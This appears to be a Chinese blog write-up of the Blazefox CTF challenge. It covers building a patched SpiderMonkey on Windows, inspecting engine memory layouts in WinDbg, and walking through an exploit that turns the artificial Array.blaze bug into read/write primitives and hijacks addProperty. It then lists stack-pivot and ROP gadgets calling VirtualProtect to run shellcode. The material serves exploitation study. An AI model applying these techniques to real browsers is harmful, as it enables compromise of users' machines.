概述
前一阵在学习浏览器PWN,花了几天把这篇文章啃完了,其中的几个exp也都调试了下,学到很多。
原文十分详细地描述了把18年的ctf题 Blazefox 移植到Windows平台利用的过程,总共写了三个exp脚本(basic.js, kaizen.js, ifrit.js),从一开始硬编码的rop链到后面动态解析地址并利用JIT携带rop gadget,循序渐进。
这篇文章梳理了一下spidermonkey基础知识,并讲讲basic.js中的利用方法。
环境搭建
https://github.com/0vercl0k/blazefox/releases 这里有编译好的,懒得编译的同学可以自取。
clone
首先要把gecko代码拉下来,由于是教程是写于18年的,可能现在代码改动比较多,拉最新分支的代码patch会打不上去,于是只好全部clone下来。
git clone https://github.com/mozilla/gecko-dev.git
这里代码量有点大(5.6g),国内的网络状态估计不太容易拉下来,git clone 貌似也不支持断点续传,中途连接中断就很伤。我的做法是到国外vps上去clone,打包压缩之后下载到本地。
patch
有了代码之后接下来就是打patch,由于最新分支patch打不上去,于是我试着切到patch中标注的日期所对应的commit,最后切到be1b849fa264成功打上了patch。(过程曲折。。)
# 打印某个日期范围内的commit信息
git log --after="2018-04-01 00:00" --before="2018-04-10 23:59"
git checkout -f be1b849fa264
cd gecko-devjs
git apply c:xxxblaze.patch
# git apply --reject --whitespace=fix mypath.patch
# git checkout -f master
build
坑爹的visual studio, 这里折腾了一天。详细记一下
安装 MozillaBuildSetup-3.2.exe ,在C:mozilla-build下面找到start-shell.bat双击打开是一个mingw32的终端,之后就在这里面操作。
到这个链接下https://docs.microsoft.com/en-us/visualstudio/productinfo/installing-an-earlier-release-of-vs2017 ,找到15.6.7版本的链接点开下载。注意!google vs2017搜到的是最新版本的vs2017,最新版本编译是会有问题的。
下图是安装最新版本vs2017或者vs2019,后面编译时的报错:
“This version (19.16.27034) of the MSVC compiler is not supported due to compiler bugs.”,
“You must install Visual C++ 2017 Update 6 in order to build”
根据bugzilla里面的说法,这里的Update 6指的就是15.6版本.
安装完之后,配置、编译、运行
gecko-dev/js/src$ autoconf-2.13
gecko-dev/js/src$ mkdir build.asserts
gecko-dev/js/src$ cd build.asserts
gecko-dev/js/src/build.asserts$ ../configure --host=x86_64-pc-mingw32 --target=x86_64-pc-mingw32 --enable-debug # vs版本不对的话这里会报错
gecko-dev/js/src/build.asserts$ mozmake -j2
# 到这里编译完成,产出js.exe,此时运行js.exe,会报错缺少dll
gecko-dev/js/src/build.asserts$ cp ./mozglue/build/mozglue.dll ./config/external/nspr/pr/nspr4.dll ./js/src/
gecko-dev/js/src/build.asserts$./js/src/js.exe # done!
js> 1+1
2
js>
数据表示
js引擎中都会有一些用来debug的函数,和 JavaScriptCore 中的describe一样, SpiderMonkey中也有类似的:
- objectAddress 打印object地址
- dumpObject 打印object信息
打开windbg,attach到js.exe,按g运行,设置断点的方式是找一个很少被用到的函数,比如 Math.atan2
。
Math.atan2的函数签名如下:
bool js::math_atan2(JSContext* cx, unsigned argc, Value* vp)
windows x64汇编中,函数传参使用前三个寄存器依次是:RCX, RDX, R8D
dqs @r8 l@rdx+2 # dqs每行打印8bytes长度, 第一个参数是起始地址,第二个参数Lxx是几行
在math_atan2处断下后argc+2(rdx)是参数个数,vp(r8)指向参数列表,这里个数是argc+2的原因是保留了两个参数(返回值和this指针)
所以dqs @r8 l@rdx+2
打印出函数的三个参数,第一个是返回值,第二个是this指针,第三个就是调用时传入的参数。
接下来通过下面的测试脚本来看看不同数据类型在内存中的表示:
'use strict';
const Address = Math.atan2;
const A = 0x1337;
Address(A);
const B = 13.37;
Address(B);
const C = [1, 2, 3, 4, 5];
Address(C);
整数 浮点数
上图是在Address(A)
处断下,可以看出整数A(1377)在内存中的表示是fff88000`00001337
0:000> dqs @r8 l@rdx+2
0000028f`87ab8198 fffe028f`877a9700
0000028f`87ab81a0 fffe028f`87780180
0000028f`87ab81a8 402abd70`a3d70a3d Value* vp
0:000> .formats 402abd70`a3d70a3d
Evaluate expression:
Hex: 402abd70`a3d70a3d
Double: 13.37
相应的,浮点数B(13.37)在内存中的表示为402abd70`a3d70a3d,
对象C在内存中的表示为fffe028f`87790400,
经过分析, JS::Value
的高17位是tag保存类型信息,低47位是value保存值信息。(17+47=64)
tag表示如何解读后面的value,当tag是整数、布尔这些类型的时候,value是立即数;当tag是object的时候,value是指针。
enum JSValueType : uint8_t
{
JSVAL_TYPE_DOUBLE = 0x00,
JSVAL_TYPE_INT32 = 0x01,
JSVAL_TYPE_BOOLEAN = 0x02,
JSVAL_TYPE_UNDEFINED = 0x03,
JSVAL_TYPE_NULL = 0x04,
JSVAL_TYPE_MAGIC = 0x05,
JSVAL_TYPE_STRING = 0x06,
JSVAL_TYPE_SYMBOL = 0x07,
JSVAL_TYPE_PRIVATE_GCTHING = 0x08,
JSVAL_TYPE_OBJECT = 0x0c,
// These never appear in a jsval; they are only provided as an out-of-band
// value.
JSVAL_TYPE_UNKNOWN = 0x20,
JSVAL_TYPE_MISSING = 0x21
};
JS_ENUM_HEADER(JSValueTag, uint32_t)
{
JSVAL_TAG_MAX_DOUBLE = 0x1FFF0,
JSVAL_TAG_INT32 = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_INT32, //int的tag是0x1ff1
JSVAL_TAG_UNDEFINED = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_UNDEFINED,
JSVAL_TAG_NULL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_NULL,
JSVAL_TAG_BOOLEAN = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_BOOLEAN,
JSVAL_TAG_MAGIC = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_MAGIC,
JSVAL_TAG_STRING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_STRING,
JSVAL_TAG_SYMBOL = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_SYMBOL,
JSVAL_TAG_PRIVATE_GCTHING = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_PRIVATE_GCTHING,
JSVAL_TAG_OBJECT = JSVAL_TAG_MAX_DOUBLE | JSVAL_TYPE_OBJECT
} JS_ENUM_FOOTER(JSValueTag);
从上面的定义中可以看出,int类型的tag是0x1ff1,object类型的tag是0x1ffc
验证如下:
>>> v = 0xfff8800000001337
>>> hex(v >> 47)
'0x1fff1'
>>> hex(v & ((2**47) - 1))
'0x1337'
>>>
>>> obj = 0xfffe028f87790400
>>> hex(obj>>47)
'0x1fffc'
>>> hex(obj & ((2**47)-1))
'0x28f87790400'
>>>
数组
# const C = [1, 2, 3, 4, 5];
0:000> dqs @r8 l@rdx+2
0000027a`bf5b8198 fffe027a`bf2a9480
0000027a`bf5b81a0 fffe027a`bf280140
0000027a`bf5b81a8 fffe027a`bf2900a0 ?
0:000> dqs 27a`bf2900a0
0000027a`bf2900a0 0000027a`bf27ab20
0000027a`bf2900a8 0000027a`bf2997e8
0000027a`bf2900b0 00000000`00000000
0000027a`bf2900b8 0000027a`bf2900d0 数据指针?
0000027a`bf2900c0 00000005`00000000
0000027a`bf2900c8 00000005`00000006
0000027a`bf2900d0 fff88000`00000001 <= 数组数据开始
0000027a`bf2900d8 fff88000`00000002
0000027a`bf2900e0 fff88000`00000003
0000027a`bf2900e8 fff88000`00000004
0000027a`bf2900f0 fff88000`00000005
0000027a`bf2900f8 4f4f4f4f`4f4f4f4f
打印数组的信息,可以发现数据整齐排布在后面,也可以看到疑似数据长度、指针这些东西。通过查看结构体信息可以验证我们的猜想。
0:000> dt JSObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
0:000> dt js::NativeObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
+0x010 slots_ : Ptr64 js::HeapSlot
+0x018 elements_ : Ptr64 js::HeapSlot
0:000> dt js::ArrayObject
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : Ptr64 Void
+0x010 slots_ : Ptr64 js::HeapSlot
+0x018 elements_ : Ptr64 js::HeapSlot
继承链: js::ArrayObject <= js::NativeObject <= JS::ShapedObject<= JSObject
对象
我们主要后面关注property(属性)和value(值),shape描述对象 properties 的信息,在shapeOrExpando_中表示。
后面用来调试的代码:
'use strict';
const Address = Math.atan2;
const A = {
foo : 1337,
blah : 'doar-e'
};
Address(A);
const B = {
foo : 1338,
blah : 'sup'
};
Address(B);
const C = {
foo : 1338,
blah : 'sup'
};
C.another = true; // C增加了一个prop
Address(C);
# address(A)处断下
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> dt js::NativeObject 1fc`e637e1c0 shapeOrExpando_ # 可以这样连着写
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
0:000> ?? ((js::shape*)0x000001fc`e63ae880)
class js::Shape * 0x000001fc`e63ae880
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid> # 存储prop信息
+0x010 immutableFlags : 0x2000001 #低位存slot number
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : (null)
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e63a7e20
0:000> ?? (char*)((JSString*)0x000001fc`e63a7e20)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e28
"blah"
shape objects 直接通过链表连接(.parent)
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->parent.value
class js::Shape * 0x000001fc`e63ae858
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : 0x2000000
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0x2 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : 0x000001fc`e63ae880 js::GCPtr<js::Shape *>
0:000> ?? ((js::shape*)0x000001fc`e63ae880)->parent.value->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e633d700
0:000> ?? (char*)((JSString*)0x000001fc`e633d700)->d.inlineStorageLatin1
char * 0x000001fc`e633d708
"foo"
B和A的property信息是相同的,所以他们使用相同的shape: 0x000001fc e63ae880
# address(B)处断下
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1f0
0:000> dt js::NativeObject 1fc`e637e1f0 shapeOrExpando_
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
C相比A和B增加了一个property,来看看他有什么变化,
# address(C)处断下
0:000> ?? vp[2].asBits_
union JS::Value
+0x000 asBits_ : 0xfffe01e7`c247e1c0
0:000> dt js::NativeObject 1fc`e637e1f0 shapeOrExpando_
+0x008 shapeOrExpando_ : 0x000001fc`e63b10d8 Void
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)
class js::Shape * 0x000001fc`e63b10d8
+0x000 base_ : js::GCPtr<js::BaseShape *>
+0x008 propid_ : js::PreBarriered<jsid>
+0x010 immutableFlags : 0x2000002
+0x014 attrs : 0x1 ''
+0x015 mutableFlags : 0 ''
+0x018 parent : js::GCPtr<js::Shape *>
+0x020 kids : js::KidsPointer
+0x020 listp : (null)
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)->propid_.value
struct jsid
+0x000 asBits : 0x000001fc`e63a7e60
0:000> ?? (char*)((JSString*)0x000001fc`e63a7e60)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e68
"another"
0:000> ?? ((js::shape*)0x000001fc`e63b10d8)->parent.value
class js::Shape * 0x000001fc`e63ae880 # 这个是A、B的shape
C使用一个新的shape对象,他的parent指针指向A、B的shape对象,形成链表结构
图示如下:
value存在elements_中,各个value依次排列。 通过shape对象immutableFlags中的值作为索引把prop和value联系起来。
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> ?? vp[2].asBits_
unsigned int64 0xfffe01fc`e637e1c0
0:000> dt js::NativeObject 1fce637e1c0
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x000001fc`e63ae880 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`7707dac0 js::HeapSlot
0:000> dqs 1fc`e637e1c0
000001fc`e637e1c0 000001fc`e637a520
000001fc`e637e1c8 000001fc`e63ae880
000001fc`e637e1d0 00000000`00000000
000001fc`e637e1d8 00007ff7`7707dac0 js!emptyElementsHeader+0x10
000001fc`e637e1e0 fff88000`00000539 <- 1337
000001fc`e637e1e8 fffb01fc`e63a7e40 <- "doar-e"
0:000> ?? (char*)((JSString*)0x1fce63a7e40)->d.inlineStorageLatin1
char * 0x000001fc`e63a7e48
"doar-e"
更多类型
按照上面的方法可以把感兴趣的类型都看一看,这里举一些例子。
windbg打开可执行文件js.exe,参数填写-i
,在交互模式下调试
js> const br = Math.atan2;
js> const od = objectAddress;
js> ar=new Array(1,2,3,4)
[1, 2, 3, 4]
js> u8a = new Uint8Array(16)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0, 8:0, 9:0, 10:0, 11:0, 12:0, 13:0, 14:0, 15:0})
js> u32a = new Uint32Array(16)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0, 8:0, 9:0, 10:0, 11:0, 12:0, 13:0, 14:0, 15:0})
js> ab = new ArrayBuffer(100)
({})
js> od(ar)
"00000246ABA01B00"
js> od(u8a)
"00000246ABA01B60"
js> od(u32a)
"00000246ABA01BC0"
js> od(ab)
"00000246ABB94080"
js>
0:001> dqs 00000246ABA01B00 # ar=new Array(1,2,3,4)
00000246`aba01b00 00000246`abb7acd0 # group??
00000246`aba01b08 00000246`abb997e8 # shapes
00000246`aba01b10 00000000`00000000 # slot
00000246`aba01b18 00000246`aba01b30 # 数据指针 element
00000246`aba01b20 00000004`00000000 # ?
00000246`aba01b28 00000004`00000006 # ?
00000246`aba01b30 fff88000`00000001 # 数据
00000246`aba01b38 fff88000`00000002
00000246`aba01b40 fff88000`00000003
00000246`aba01b48 fff88000`00000004
00000246`aba01b50 2f2f2f2f`2f2f2f2f
00000246`aba01b58 2f2f2f2f`2f2f2f2f
00000246`aba01b60 00000246`abb7ae50
00000246`aba01b68 00000246`abbb3038
00000246`aba01b70 00000000`00000000
00000246`aba01b78 00007ff7`10eedac0 js!emptyElementsHeader+0x10
0:001> ?? ( js::ArrayObject * )0x0000246ABA01B00
class js::ArrayObject * 0x00000246`aba01b00
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000246`abb997e8 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00000246`aba01b30 js::HeapSlot
=00007ff7`10ebed88 class_ : js::Class
0:001> dqs 00000246ABA01B60 # u8a = new Uint8Array(16)
00000246`aba01b60 00000246`abb7ae50 # group
00000246`aba01b68 00000246`abbb3038 # shape
00000246`aba01b70 00000000`00000000 # slot
00000246`aba01b78 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`aba01b80 fffa0000`00000000 # BUFFER_SLOT
00000246`aba01b88 fff88000`00000010 # 长度 LENGTH_SLOT
00000246`aba01b90 fff88000`00000000 # BYTEOFFSET_SLOT
00000246`aba01b98 00000246`aba01ba0 #数据指针 DATA_SLOT
00000246`aba01ba0 00000000`00000000 #数据 Inline data
00000246`aba01ba8 00000000`00000000
00000246`aba01bb0 2f2f2f2f`2f2f2f2f
00000246`aba01bb8 2f2f2f2f`2f2f2f2f
00000246`aba01bc0 00000246`abb7af10
00000246`aba01bc8 00000246`abbb3178
00000246`aba01bd0 00000000`00000000
00000246`aba01bd8 00007ff7`10eedac0 js!emptyElementsHeader+0x10
0:001> ?? (js::ArrayBufferViewObject *) 0x0000246ABA01B60
class js::ArrayBufferViewObject * 0x00000246`aba01b60
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000246`abbb3038 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`10eedac0 js::HeapSlot
0:001> dqs 00000246ABA01BC0 # u32a = new Uint32Array(16)
00000246`aba01bc0 00000246`abb7af10
00000246`aba01bc8 00000246`abbb3178
00000246`aba01bd0 00000000`00000000
00000246`aba01bd8 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`aba01be0 fffa0000`00000000
00000246`aba01be8 fff88000`00000010
00000246`aba01bf0 fff88000`00000000
00000246`aba01bf8 00000246`aba01c00
00000246`aba01c00 00000000`00000000
00000246`aba01c08 00000000`00000000
00000246`aba01c10 00000000`00000000
00000246`aba01c18 00000000`00000000
00000246`aba01c20 00000000`00000000
00000246`aba01c28 00000000`00000000
00000246`aba01c30 00000000`00000000
00000246`aba01c38 00000000`00000000
0:001> dqs 00000246ABB94080 # ab = new ArrayBuffer(100)
00000246`abb94080 00000246`abb7afa0
00000246`abb94088 00000246`abbb3380
00000246`abb94090 00000000`00000000
00000246`abb94098 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`abb940a0 00000123`55f81020 # 数据指针(要移位)
00000246`abb940a8 fff88000`00000064 # 长度
00000246`abb940b0 fffa0000`00000000 # first view??
00000246`abb940b8 fff88000`00000008 # flags
00000246`abb940c0 4f4f4f4f`4f4f4f4f
00000246`abb940c8 4f4f4f4f`4f4f4f4f
00000246`abb940d0 4f4f4f4f`4f4f4f4f
00000246`abb940d8 4f4f4f4f`4f4f4f4f
00000246`abb940e0 4f4f4f4f`4f4f4f4f
00000246`abb940e8 4f4f4f4f`4f4f4f4f
00000246`abb940f0 4f4f4f4f`4f4f4f4f
00000246`abb940f8 4f4f4f4f`4f4f4f4f
0:001> ?? ( js::ArrayBufferObject * )0x0000246ABB94080
class js::ArrayBufferObject * 0x00000246`abb94080
+0x000 group_ : js::GCPtr<js::ObjectGroup *>
+0x008 shapeOrExpando_ : 0x00000246`abbb3380 Void
+0x010 slots_ : (null)
+0x018 elements_ : 0x00007ff7`10eedac0 js::HeapSlot
=00007ff7`10ee1cc0 class_ : js::Class
=00007ff7`10ee1cf0 protoClass_ : js::Class
0:001> ? 00000123`55f81020 <<2
Evaluate expression: 5005111214208 = 0000048d`57e04080
0:001> ? 00000123`55f81020 <<1
Evaluate expression: 2502555607104 = 00000246`abf02040
0:001> dqs 00000246`abf02040
00000246`abf02040 00000000`00000000
00000246`abf02048 00000000`00000000
00000246`abf02050 00000000`00000000
00000246`abf02058 00000000`00000000
00000246`abf02060 00000000`00000000
00000246`abf02068 00000000`00000000
00000246`abf02070 00000000`00000000
00000246`abf02078 00000000`00000000
00000246`abf02080 00000000`00000000
00000246`abf02088 00000000`00000000
00000246`abf02090 00000000`00000000
00000246`abf02098 00000000`00000000
00000246`abf020a0 00000000`00000000
00000246`abf020a8 00000000`00000000
00000246`abf020b0 00000000`00000000
00000246`abf020b8 00000000`00000000
利用
漏洞
patch中给Array增加了一个函数blaze,此函数把Array的长度设成420。这样“造”出来一个越界访问漏洞。
利用思路是在Array后面放置Uint8Array,通过越界访问Uint8Array来做泄露(读element)和任意地址读写(读写数据指针和数据长度)。下面是Uint8Array的内存布局:
0:001> dqs 00000246ABA01B60 # u8a = new Uint8Array(16)
00000246`aba01b60 00000246`abb7ae50 # group
00000246`aba01b68 00000246`abbb3038 # shape
00000246`aba01b70 00000000`00000000 # slot
00000246`aba01b78 00007ff7`10eedac0 js!emptyElementsHeader+0x10
00000246`aba01b80 fffa0000`00000000 # BUFFER_SLOT
00000246`aba01b88 fff88000`00000010 # 长度 LENGTH_SLOT
00000246`aba01b90 fff88000`00000000 # BYTEOFFSET_SLOT
00000246`aba01b98 00000246`aba01ba0 #数据指针 DATA_SLOT
00000246`aba01ba0 00000000`00000000 #数据 Inline data
00000246`aba01ba8 00000000`00000000
00000246`aba01bb0 2f2f2f2f`2f2f2f2f
构建读写原语
这里来测试一下,
js> a=new Array(1,2,3,4)
[1, 2, 3, 4]
js> b=new Uint8Array(8)
({0:0, 1:0, 2:0, 3:0, 4:0, 5:0, 6:0, 7:0})
js> objectAddress(a)
"0000023E69201B00"
js> objectAddress(b)
"0000023E69201B60"
js> a.blaze()==undefined // 触发漏洞
false
js> a.length
420
可以看出a和b在内存中是相邻的,
算出合适的偏移就能通过a修改b的length和ptr
js> a[11]=16 // offset 11 修改长度
16
js> b.length
16
js> load('int64.js')
js> load('utils.js')
js> a[13]=new Int64('0x23e69201b30').asDouble() // offset 13 修改指针
1.2188969734197e-311
js> b[0]
1
js> obj_to_leak={a:1}
({a:1})
js> a[14]=obj_to_leak // offset 14 泄露对象地址
({a:1})
js> objectAddress(obj_to_leak)
"0000023E6937E430"
js> b.slice(0,8)
({0:48, 1:228, 2:55, 3:105, 4:62, 5:2, 6:254, 7:255})
js> Int64.fromJSValue(b.slice(0, 8)).toString(16)
"0x0000023e6937e430"
js>
看上去没什么问题,后面来调试exp。
basic.js
有了读写原语,后面需要劫持执行流。使用的方法是找到并覆盖某个object的函数指针,再调用这个函数来触发。
好多层,大概长这样:
js::NativeObject
+0x000 group_
+0x000 value js!js::ObjectGroup
+0x000 clasp_ js!js::Class
+0x010 cOps js!js:ClassOps
+0x000 addProperty
+0x008 delProperty
结果发现addProperty这里是没有写权限的,只能往上找可以写的地方然后把他之后的结构都伪造出来,找到的目标是js::ObjectGroup那里,所以伪造它的整个clasp_结构就好了 。
在获得改写addProperty的能力之后,需要思考如何做stack pivot,接下来就是要找到一个合适的rop gadget,0vercl0k找了一个:
00007fff`b8c4fda3 ff33 push qword ptr [rbx]
[...]
00007fff`b8c4fda8 5c pop rsp
00007fff`b8bf500d 4883c440 add rsp,40h
[...]
00007fff`b8bf5016 c3 ret
注意在调用到addProperty时,rbx是 JSObject
的指针。
即对于下面的Target来说:
const Target = new Uint8Array(90);
...
Target.im_falling_and_i_cant_turn_back = 1;
这个gadget把执行流转移到Target的buffer空间中,在此处放置其他gadget,进入下一阶段。
ROP chain
现在需要一个ROP链,basic.js中实现了一种可能:
- gadget #1, 覆盖addProperty指针(前面说的)
// ** gadget 0 **
// 0:000> u 00007ff7`60ce5d80
// js!js::irregexp::RegExpLookahead::Accept [c:usersovermozilla-centraljssrcirregexpregexpast.cpp @ 40]:
// 00007ff7`60ce5d80 488b02 mov rax,qword ptr [rdx]
// 00007ff7`60ce5d83 4c8bca mov r9,rdx
// 00007ff7`60ce5d86 488bd1 mov rdx,rcx
// 00007ff7`60ce5d89 498bc9 mov rcx,r9
// 00007ff7`60ce5d8c 48ff6040 jmp qword ptr [rax+40h]
// 0:000> ? 00007ff7`60ce5d80 - js
// Evaluate expression: 17325440 = 00000000`01085d80
//
这是开始的第一步, Target.im_falling_and_i_cant_turn_back = 1
会调用addProperty,此时rdx和rbx中存的是指向Target地址的指针。因为Target的类型是Uint8Array,参考前文中类型结构可知gadget0的作用是跳转到Target的Inline data处。
- gadget #2, 存放在Target的inline data开始
//
// 0:000> u ntdll+000bfda2 l10
// ntdll!TpSimpleTryPost+0x5aeb2:
// 00007fff`b8c4fda2 f5 cmc
// 00007fff`b8c4fda3 ff33 push qword ptr [rbx] <= 关键语句1
// 00007fff`b8c4fda5 db4889 fisttp dword ptr [rax-77h]
// 00007fff`b8c4fda8 5c pop rsp <= 关键语句2
// 00007fff`b8c4fda9 2470 and al,70h
// 00007fff`b8c4fdab 8b7c2434 mov edi,dword ptr [rsp+34h]
// 00007fff`b8c4fdaf 85ff test edi,edi
// 00007fff`b8c4fdb1 0f884a52faff js ntdll!TpSimpleTryPost+0x111 (00007fff`b8bf5001) <= 跳到下面
//
// 0:000> u 00007fff`b8bf5001
// ntdll!TpSimpleTryPost+0x111:
// 00007fff`b8bf5001 8bc7 mov eax,edi
// 00007fff`b8bf5003 488b5c2468 mov rbx,qword ptr [rsp+68h]
// 00007fff`b8bf5008 488b742478 mov rsi,qword ptr [rsp+78h]
// 00007fff`b8bf500d 4883c440 add rsp,40h
// 00007fff`b8bf5011 415f pop r15
// 00007fff`b8bf5013 415e pop r14
// 00007fff`b8bf5015 5f pop rdi
// 00007fff`b8bf5016 c3 ret <= 关键语句3
此时rbx是指向Target地址的指针,target地址入栈后又被弹出到rsp中,后面rsp增加0x40,又出栈三次,最后ret。所以运行完gadget #2之后,rip指向Target偏移0x58即Target[0x18]处
- gadget #3, 存放在Target的inline data开始0x18处
//
// 0x140079e55: pop rsp ; ret ; <= 0x18
// BigRopChain address <= 0x20
跳转到BigRopChain处
- gadget #4, BigRopChain
const BigRopChain = [
// 0x1400cc4ec: pop rcx ; ret ; (43 found)
Add(JSBase, 0xcc4ec),
ShellcodeAddress,
// 0x1400731da: pop rdx ; ret ; (20 found)
Add(JSBase, 0x731da),
new Int64(Shellcode.length),
// 0x14056c302: pop r8 ; ret ; (8 found)
Add(JSBase, 0x56c302),
PAGE_EXECUTE_READWRITE,
VirtualProtect,
// 0x1413f1d09: add rsp, 0x10 ; pop r14 ; pop r12 ; pop rbp ; ret ; (1 found)
Add(JSBase, 0x13f1d09),
new Int64('0x1111111111111111'),
new Int64('0x2222222222222222'),
new Int64('0x3333333333333333'),
new Int64('0x4444444444444444'),
ShellcodeAddress,
// 0x1400e26fd: jmp rbp ; (30 found)
Add(JSBase, 0xe26fd)
];
这是最后一个阶段,BigRopChain被分配在另一个大的Uint8Array中。使用VirtualProtect给shellcode区域加上执行权限,之后跳转到shellcode执行。
参考链接
https://doar-e.github.io/blog/2018/11/19/introduction-to-spidermonkey-exploitation
https://github.com/0vercl0k/blazefox/blob/master/exploits/basic.js